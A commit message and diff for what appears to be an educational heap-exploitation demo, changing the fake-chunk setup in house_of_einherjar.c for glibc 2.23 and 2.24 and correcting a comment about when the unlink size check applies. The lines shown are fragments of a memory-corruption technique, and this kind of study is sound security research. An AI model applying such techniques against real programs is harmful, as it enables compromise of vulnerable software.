fix: remove unnecessary size equality check bypass

The `P->bk->size == P->prev_size` check in unlink() was introduced in
GLIBC 2.26 and does not exist in the implementations of GLIBC 2.23 or
2.24. Therefore, fake_chunk[0] and fake_chunk[1] do not need to be
equal in these versions.

The original note explicitly stated that they should be equal, which
could be misleading in many situations.

Author: D4R30

glibc_2.23/house_of_einherjar.c

@@ -38,7 +38,7 @@ int main()
 
 	size_t fake_chunk[6];
 
-	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
+	fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
 	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
 	fake_chunk[2] = (size_t) fake_chunk; // fwd
 	fake_chunk[3] = (size_t) fake_chunk; // bck

glibc_2.24/house_of_einherjar.c

@@ -38,7 +38,7 @@ int main()
 
 	size_t fake_chunk[6];
 
-	fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
+	fake_chunk[0] = 0x00; // The prev_size vs. size check is of no concern, until GLIBC 2.26 P->bk->size == P->prev_size check
 	fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
 	fake_chunk[2] = (size_t) fake_chunk; // fwd
 	fake_chunk[3] = (size_t) fake_chunk; // bck